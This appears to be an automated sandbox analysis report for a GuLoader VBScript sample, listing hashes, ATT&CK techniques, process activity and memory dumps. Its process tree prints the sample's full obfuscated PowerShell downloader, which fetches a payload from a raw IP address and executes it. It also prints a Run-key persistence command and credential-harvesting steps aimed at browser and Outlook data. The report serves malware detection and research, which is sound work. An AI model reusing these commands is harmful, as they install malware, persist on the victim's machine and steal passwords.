guloader | c8752c52764d7a7a3d3e6f4a40ea66642c56ccba561144e454d04abd40877947

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
22/06/2024, 01:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c8752c52764d7a7a3d3e6f4a40ea66642c56ccba561144e454d04abd40877947.vbs
Size 12KB
Sample240622-bxveeavdnq
SHA256 c8752c52764d7a7a3d3e6f4a40ea66642c56ccba561144e454d04abd40877947
MD5 c97258c9b896f402718149186be9ed1d
SHA1 b92a1f667449e9938bdbb232bb1027e42b95475b
SHA512 805cb712a430b89eac3b1d5c76efd954b67c503a7a5ac8570aeb157923f18d083dc6c6a43d961a42b71153eb0e79d5229b2f7aaa34475f68d117721edbf90e1d
SSDEEP 192:E57VXYUwlVwjsaDa1csT2mk8SJMxeJNJWVy0pbNSX4kNs6/WH7gnw/9oFJx2tbye:YZXlUWBQc9VAzpwsNb2wFoFJUtWhYr
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4972-57-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4560-54-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/4560-54-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4972-57-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4040-63-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	3416	WScript.exe
8	2544	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bedframes = "%Piker% -w 1 $cirripede=(Get-ItemProperty -Path 'HKCU:\\Fodenden\\').Meningskorrekturer;%Piker% ($cirripede)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
3864	wab.exe
3864	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3588	powershell.exe
3864	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3588 set thread context of 3864	3588	powershell.exe	97
PID 3864 set thread context of 4560	3864	wab.exe	103
PID 3864 set thread context of 4972	3864	wab.exe	108
PID 3864 set thread context of 4040	3864	wab.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1060	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2544	powershell.exe
2544	powershell.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
4560	wab.exe
4560	wab.exe
4040	wab.exe
4040	wab.exe
4560	wab.exe
4560	wab.exe

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
3588	powershell.exe
3864	wab.exe
3864	wab.exe
3864	wab.exe
3864	wab.exe
3864	wab.exe
3864	wab.exe
3864	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	3588	powershell.exe
Token: SeDebugPrivilege	4040	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3864	wab.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 3416 wrote to memory of 2544	3416	WScript.exe	86
PID 3416 wrote to memory of 2544	3416	WScript.exe	86
PID 2544 wrote to memory of 3656	2544	powershell.exe	88
PID 2544 wrote to memory of 3656	2544	powershell.exe	88
PID 2544 wrote to memory of 3588	2544	powershell.exe	92
PID 2544 wrote to memory of 3588	2544	powershell.exe	92
PID 2544 wrote to memory of 3588	2544	powershell.exe	92
PID 3588 wrote to memory of 2512	3588	powershell.exe	94
PID 3588 wrote to memory of 2512	3588	powershell.exe	94
PID 3588 wrote to memory of 2512	3588	powershell.exe	94
PID 3588 wrote to memory of 3864	3588	powershell.exe	97
PID 3588 wrote to memory of 3864	3588	powershell.exe	97
PID 3588 wrote to memory of 3864	3588	powershell.exe	97
PID 3588 wrote to memory of 3864	3588	powershell.exe	97
PID 3588 wrote to memory of 3864	3588	powershell.exe	97
PID 3864 wrote to memory of 1724	3864	wab.exe	99
PID 3864 wrote to memory of 1724	3864	wab.exe	99
PID 3864 wrote to memory of 1724	3864	wab.exe	99
PID 1724 wrote to memory of 1060	1724	cmd.exe	101
PID 1724 wrote to memory of 1060	1724	cmd.exe	101
PID 1724 wrote to memory of 1060	1724	cmd.exe	101
PID 3864 wrote to memory of 4560	3864	wab.exe	103
PID 3864 wrote to memory of 4560	3864	wab.exe	103
PID 3864 wrote to memory of 4560	3864	wab.exe	103
PID 3864 wrote to memory of 4560	3864	wab.exe	103
PID 3864 wrote to memory of 4188	3864	wab.exe	104
PID 3864 wrote to memory of 4188	3864	wab.exe	104
PID 3864 wrote to memory of 4188	3864	wab.exe	104
PID 3864 wrote to memory of 688	3864	wab.exe	105
PID 3864 wrote to memory of 688	3864	wab.exe	105
PID 3864 wrote to memory of 688	3864	wab.exe	105
PID 3864 wrote to memory of 632	3864	wab.exe	106
PID 3864 wrote to memory of 632	3864	wab.exe	106
PID 3864 wrote to memory of 632	3864	wab.exe	106
PID 3864 wrote to memory of 4436	3864	wab.exe	107
PID 3864 wrote to memory of 4436	3864	wab.exe	107
PID 3864 wrote to memory of 4436	3864	wab.exe	107
PID 3864 wrote to memory of 4972	3864	wab.exe	108
PID 3864 wrote to memory of 4972	3864	wab.exe	108
PID 3864 wrote to memory of 4972	3864	wab.exe	108
PID 3864 wrote to memory of 4972	3864	wab.exe	108
PID 3864 wrote to memory of 4040	3864	wab.exe	109
PID 3864 wrote to memory of 4040	3864	wab.exe	109
PID 3864 wrote to memory of 4040	3864	wab.exe	109
PID 3864 wrote to memory of 4040	3864	wab.exe	109

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c8752c52764d7a7a3d3e6f4a40ea66642c56ccba561144e454d04abd40877947.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;$Gromatics = 1;$Douses='Su';$Ankomststationen='ing';Function Cryptorrhesis($Mozettas){$Preedits=$Mozettas.Length-$Gromatics;$Reinvolves=$Douses+'bstr'+$Ankomststationen;For( $Questionnaire=1;$Questionnaire -lt $Preedits;$Questionnaire+=2){$Computerteknologiers+=$Mozettas.$Reinvolves.Invoke( $Questionnaire, $Gromatics);}$Computerteknologiers;}function Antedateringerne($Punning){ . ($munkeordenens) ($Punning);}$Pumpens=Cryptorrhesis 'SM.o zLiClFlKaP/,5 .,0 (BWAi nDdAoFw sE MN T, .1h0..M0 ;N WAiFn.6C4B; gx 6 4.; ArLvM: 1 2,1C.,0S)S .G e c,kIoB/ 2A0g1,0.0f1 0I1L F i rseEf.o,xS/,1,2 1 ..0E ';$Begejstringsrus=Cryptorrhesis 'AUSs,eNrB- A g,eMn,t, ';$Epispadiac=Cryptorrhesis ' hItOtBp :U/ /F9R4v. 1V5P6H.K7M9A.W8 6F/DHUa vBn edfMo g eMd ePnVe,rtsM. a.a.fU ';$Chartringens=Cryptorrhesis ' >. ';$munkeordenens=Cryptorrhesis ' iDeKxT ';$sociologsk='Bruskfisken';$Petulantly = Cryptorrhesis ',eUcAhMot %Ea p.p d.a tTaU%P\TBBy.g n,iHnMg,sBkEo n,d u,kOt,rT. AWd mD W&,&P eeGcBhSoM Et ';Antedateringerne (Cryptorrhesis ',$ gAlMoAbRaKlO: H y lDo bMa t,e s = ( c mSd. / cW $ PPe,tLuSl,a,n,tslVy,). ');Antedateringerne (Cryptorrhesis 'N$.gHl,o.b,aGlW:SEUohpta,l,aEe.oVzBoBiEc =R$ EspKiKs p a dIi a,cP..s,pUl iBtN(M$VC.h a rat r i n.gBeWn,sH). ');Antedateringerne (Cryptorrhesis ' [MN e t . S.eRrSvSi,cHePP o iUnTt,MRaOn a.gte r,],: :.SUe cGu rMiSt.ySPPrHo.t o c.o lG = P[bNCeUtt.,SFe cFu rPiAt y P rVokt o c o l,T y pHe ] :B:ST lpsA1 2, ');$Epispadiac=$Eopalaeozoic[0];$Heptarchs= (Cryptorrhesis 'K$ g l oDb aAl.: C.hIu fDf,iNn,eAs sP=SNaeCwG-LOib j e.cAtF ,S y sUtBeBmT. N.eOtV..W e b CFl.i.e.nPt');$Heptarchs+=$Hylobates[1];Antedateringerne ($Heptarchs);Antedateringerne (Cryptorrhesis 'R$ CGhBu fBfHi n,eSs,sT. HIeSa dKe,rMsR[ $MBSeCgSeDjCsTtBr i nMg sSrwu.s,] =,$PPUu,mEp eLnPs ');$Frate=Cryptorrhesis ' $DCVh uCf,fDiUnfebs sL.PDFo w,n lSo aud F,i l e,(T$ EPp i sOpfa dSi,aEcP,,$SPMesr.f e.kUt iMbZe,l )F ';$Perfektibel=$Hylobates[0];Antedateringerne (Cryptorrhesis ' $,g l o b.aFlM:OTBrpy.kUl u f t sBb e.h oVl.d,e rLe.sf= ( T e sRt,- PSaRt.hE M$IP e r f eGkPt iDbAe lN). ');while (!$Trykluftsbeholderes) {Antedateringerne (Cryptorrhesis ' $eg l,oPb a.l :,oRuAtFj,oDuWrRnPebyHe d.= $HtTrKu eM ') ;Antedateringerne $Frate;Antedateringerne (Cryptorrhesis 'FS tDa.r tC- S l eMe pT .4. ');Antedateringerne (Cryptorrhesis 'K$ gSlSo b,a l :VTGr y k lyuCfLtDs bDe.hIoRl d eDrKets.= (jT,eOsTtH-BP a.t h $ P eTr.fTe k tSiSbOeKlG), ') ;Antedateringerne (Cryptorrhesis 'T$.g lco b aBl :MKPa,s tUrAa t i o,nReUrAs.=F$Bg lCoVb amls:ISCe,lCfSmPa dJeP+R+L%C$VE o,pAaulHa,eIoGz,o,i cd..cSoJuSnntT ') ;$Epispadiac=$Eopalaeozoic[$Kastrationers];}$Isaiah=364627;$Chelifer=26069;Antedateringerne (Cryptorrhesis ' $ gFl oUb,a.lh:DR eFk,lRa mSe,a.r t,i kGlTePnB A= ,G eStU- Cao nBt.eKnCt P$WPGeSrNfRe k,t i b.eBlI ');Antedateringerne (Cryptorrhesis 'V$VgBlGo,bTaBl :.F.ifl hPaSaInFd,t eSrAianUg s, =, [TSryDsStKeCmL. CAoBn v ePr tF],:.: FBrNoNmSBSa sPeO6K4 S tBr.iFnDg (.$URLe,kfl.a m,eSa r tFiDk l eMn ) ');Antedateringerne (Cryptorrhesis ' $OgVl.o,b a lf:SG,r,e e.nDhPiSdDeH =L [TS,y sItPeHmF.BTne.x tN. ELn cVo d i,nRgE]S: : A S CLIWIC..GMePtFS t r iRntg ( $aF iEl.h aDa n dSt e r.iRnSgHsR) ');Antedateringerne (Cryptorrhesis ' $ gLlGo bUaOlO:.D,aFmGpCs kOi b sKsaeKl sNkNa bIe.rT9,6 =U$PG rRe eFnUhDiLdreT.BsPu,b s t r,iKn g.( $ IDsYaEi,aBhE,M$SCSh eUlSiFf eLrI) ');Antedateringerne $Dampskibsselskaber96;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bygningskonduktr.Adm && echo t"
    3⤵
    PID:3656
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;$Gromatics = 1;$Douses='Su';$Ankomststationen='ing';Function Cryptorrhesis($Mozettas){$Preedits=$Mozettas.Length-$Gromatics;$Reinvolves=$Douses+'bstr'+$Ankomststationen;For( $Questionnaire=1;$Questionnaire -lt $Preedits;$Questionnaire+=2){$Computerteknologiers+=$Mozettas.$Reinvolves.Invoke( $Questionnaire, $Gromatics);}$Computerteknologiers;}function Antedateringerne($Punning){ . ($munkeordenens) ($Punning);}$Pumpens=Cryptorrhesis 'SM.o zLiClFlKaP/,5 .,0 (BWAi nDdAoFw sE MN T, .1h0..M0 ;N WAiFn.6C4B; gx 6 4.; ArLvM: 1 2,1C.,0S)S .G e c,kIoB/ 2A0g1,0.0f1 0I1L F i rseEf.o,xS/,1,2 1 ..0E ';$Begejstringsrus=Cryptorrhesis 'AUSs,eNrB- A g,eMn,t, ';$Epispadiac=Cryptorrhesis ' hItOtBp :U/ /F9R4v. 1V5P6H.K7M9A.W8 6F/DHUa vBn edfMo g eMd ePnVe,rtsM. a.a.fU ';$Chartringens=Cryptorrhesis ' >. ';$munkeordenens=Cryptorrhesis ' iDeKxT ';$sociologsk='Bruskfisken';$Petulantly = Cryptorrhesis ',eUcAhMot %Ea p.p d.a tTaU%P\TBBy.g n,iHnMg,sBkEo n,d u,kOt,rT. AWd mD W&,&P eeGcBhSoM Et ';Antedateringerne (Cryptorrhesis ',$ gAlMoAbRaKlO: H y lDo bMa t,e s = ( c mSd. / cW $ PPe,tLuSl,a,n,tslVy,). ');Antedateringerne (Cryptorrhesis 'N$.gHl,o.b,aGlW:SEUohpta,l,aEe.oVzBoBiEc =R$ EspKiKs p a dIi a,cP..s,pUl iBtN(M$VC.h a rat r i n.gBeWn,sH). ');Antedateringerne (Cryptorrhesis ' [MN e t . S.eRrSvSi,cHePP o iUnTt,MRaOn a.gte r,],: :.SUe cGu rMiSt.ySPPrHo.t o c.o lG = P[bNCeUtt.,SFe cFu rPiAt y P rVokt o c o l,T y pHe ] :B:ST lpsA1 2, ');$Epispadiac=$Eopalaeozoic[0];$Heptarchs= (Cryptorrhesis 'K$ g l oDb aAl.: C.hIu fDf,iNn,eAs sP=SNaeCwG-LOib j e.cAtF ,S y sUtBeBmT. N.eOtV..W e b CFl.i.e.nPt');$Heptarchs+=$Hylobates[1];Antedateringerne ($Heptarchs);Antedateringerne (Cryptorrhesis 'R$ CGhBu fBfHi n,eSs,sT. HIeSa dKe,rMsR[ $MBSeCgSeDjCsTtBr i nMg sSrwu.s,] =,$PPUu,mEp eLnPs ');$Frate=Cryptorrhesis ' $DCVh uCf,fDiUnfebs sL.PDFo w,n lSo aud F,i l e,(T$ EPp i sOpfa dSi,aEcP,,$SPMesr.f e.kUt iMbZe,l )F ';$Perfektibel=$Hylobates[0];Antedateringerne (Cryptorrhesis ' $,g l o b.aFlM:OTBrpy.kUl u f t sBb e.h oVl.d,e rLe.sf= ( T e sRt,- PSaRt.hE M$IP e r f eGkPt iDbAe lN). ');while (!$Trykluftsbeholderes) {Antedateringerne (Cryptorrhesis ' $eg l,oPb a.l :,oRuAtFj,oDuWrRnPebyHe d.= $HtTrKu eM ') ;Antedateringerne $Frate;Antedateringerne (Cryptorrhesis 'FS tDa.r tC- S l eMe pT .4. ');Antedateringerne (Cryptorrhesis 'K$ gSlSo b,a l :VTGr y k lyuCfLtDs bDe.hIoRl d eDrKets.= (jT,eOsTtH-BP a.t h $ P eTr.fTe k tSiSbOeKlG), ') ;Antedateringerne (Cryptorrhesis 'T$.g lco b aBl :MKPa,s tUrAa t i o,nReUrAs.=F$Bg lCoVb amls:ISCe,lCfSmPa dJeP+R+L%C$VE o,pAaulHa,eIoGz,o,i cd..cSoJuSnntT ') ;$Epispadiac=$Eopalaeozoic[$Kastrationers];}$Isaiah=364627;$Chelifer=26069;Antedateringerne (Cryptorrhesis ' $ gFl oUb,a.lh:DR eFk,lRa mSe,a.r t,i kGlTePnB A= ,G eStU- Cao nBt.eKnCt P$WPGeSrNfRe k,t i b.eBlI ');Antedateringerne (Cryptorrhesis 'V$VgBlGo,bTaBl :.F.ifl hPaSaInFd,t eSrAianUg s, =, [TSryDsStKeCmL. CAoBn v ePr tF],:.: FBrNoNmSBSa sPeO6K4 S tBr.iFnDg (.$URLe,kfl.a m,eSa r tFiDk l eMn ) ');Antedateringerne (Cryptorrhesis ' $OgVl.o,b a lf:SG,r,e e.nDhPiSdDeH =L [TS,y sItPeHmF.BTne.x tN. ELn cVo d i,nRgE]S: : A S CLIWIC..GMePtFS t r iRntg ( $aF iEl.h aDa n dSt e r.iRnSgHsR) ');Antedateringerne (Cryptorrhesis ' $ gLlGo bUaOlO:.D,aFmGpCs kOi b sKsaeKl sNkNa bIe.rT9,6 =U$PG rRe eFnUhDiLdreT.BsPu,b s t r,iKn g.( $ IDsYaEi,aBhE,M$SCSh eUlSiFf eLrI) ');Antedateringerne $Dampskibsselskaber96;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bygningskonduktr.Adm && echo t"
      4⤵
      PID:2512
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3864
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Bedframes" /t REG_EXPAND_SZ /d "%Piker% -w 1 $cirripede=(Get-ItemProperty -Path 'HKCU:\Fodenden\').Meningskorrekturer;%Piker% ($cirripede)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1724
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Bedframes" /t REG_EXPAND_SZ /d "%Piker% -w 1 $cirripede=(Get-ItemProperty -Path 'HKCU:\Fodenden\').Meningskorrekturer;%Piker% ($cirripede)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1060
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\syhxqlbqvbxtvajheddsoavjowepoz"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4560
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
        5⤵
        
        PID:4188
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
        5⤵
        
        PID:688
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
        5⤵
        
        PID:632
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
        5⤵
        
        PID:4436
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dauhrdmsjjpyfoxlvnqtrfpapcwyhcrjj"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4972
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fvaas"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_gpyxvcjf.r2o.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gpyxvcjf.r2o.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

syhxqlbqvbxtvajheddsoavjowepoz

Path C:\Users\Admin\AppData\Local\Temp\syhxqlbqvbxtvajheddsoavjowepoz
Size 4KB
SHA256 6480ae6b5690c82540ec16e2d7612cf5bc7cd2ecb409f68058705b99c8013817
MD5 f5f89648b5d7536bb36bd19cff1de536
SHA1 0d3c67495fcf6cc33309290dfc2850a1bf3ce4be
SHA512 fc99c4ef2d3c88204272d7c660343d1dd3e6998eb670296bc3e1a41d39eec175a54cdc33a015c9fe22b2e9b39e8c1e7df6c4f5ae303e68f718e769396cb8fa5d
SSDEEP 48:wvvv0qTxfvvcqTxfdvv0qTxBvv0qTxakvv0qT7:mvRTxvpTp1vRTPvRTbvRT7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Bygningskonduktr.Adm

Path C:\Users\Admin\AppData\Roaming\Bygningskonduktr.Adm
Size 508KB
SHA256 f107ac1527d495e76fd9dc3b09df1b1f1984dec45684ea829a9e62e5bec2c15c
MD5 a98ab61de8988f590cb619a61a0177b4
SHA1 52a7655ffd255924d19b7c24759aa33fdfcfdadd
SHA512 b9149714814c005da80790152adb8b6d285b12ad16b86fb04762f5b34f4dbaa278ae7699c13acdbc9482ba78c45acda8f05a90de4da471cdf6fca5ced90e8832
SSDEEP 12288:O55EBus93ZixRfS30EFakh9uy+ukBuHWtQkEbSoi9:Ks7JixRq30UX5pR2GkE+oi9
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2544-7-0x000001B87F3F0000-0x000001B87F412000-memory.dmp

Download

memory/2544-15-0x00007FFA6F320000-0x00007FFA6FDE1000-memory.dmp

Download

memory/2544-16-0x00007FFA6F320000-0x00007FFA6FDE1000-memory.dmp

Download

memory/2544-49-0x00007FFA6F320000-0x00007FFA6FDE1000-memory.dmp

Download

memory/2544-45-0x00007FFA6F320000-0x00007FFA6FDE1000-memory.dmp

Download

memory/2544-44-0x00007FFA6F323000-0x00007FFA6F325000-memory.dmp

Download

memory/2544-4-0x00007FFA6F323000-0x00007FFA6F325000-memory.dmp

Download

memory/3588-22-0x00000000054D0000-0x0000000005536000-memory.dmp

Download

memory/3588-40-0x0000000007C50000-0x00000000081F4000-memory.dmp

Download

memory/3588-35-0x0000000005CC0000-0x0000000005D0C000-memory.dmp

Download

memory/3588-36-0x00000000075D0000-0x0000000007C4A000-memory.dmp

Download

memory/3588-37-0x00000000061D0000-0x00000000061EA000-memory.dmp

Download

memory/3588-38-0x0000000006F50000-0x0000000006FE6000-memory.dmp

Download

memory/3588-39-0x0000000006C50000-0x0000000006C72000-memory.dmp

Download

memory/3588-19-0x0000000004650000-0x0000000004686000-memory.dmp

Download

memory/3588-33-0x0000000005660000-0x00000000059B4000-memory.dmp

Download

memory/3588-42-0x0000000008200000-0x000000000D4D7000-memory.dmp

Download

memory/3588-23-0x00000000055F0000-0x0000000005656000-memory.dmp

Download

memory/3588-21-0x00000000053B0000-0x00000000053D2000-memory.dmp

Download

memory/3588-20-0x0000000004D50000-0x0000000005378000-memory.dmp

Download

memory/3588-34-0x0000000005C30000-0x0000000005C4E000-memory.dmp

Download

memory/3864-46-0x0000000002260000-0x0000000007537000-memory.dmp

Download

memory/3864-66-0x00000000234A0000-0x00000000234B9000-memory.dmp

Download

memory/3864-69-0x00000000234A0000-0x00000000234B9000-memory.dmp

Download

memory/3864-70-0x00000000234A0000-0x00000000234B9000-memory.dmp

Download

memory/4040-62-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4040-61-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4040-63-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4560-52-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4560-54-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4560-53-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4972-57-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4972-56-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4972-55-0x0000000000400000-0x0000000000462000-memory.dmp

Download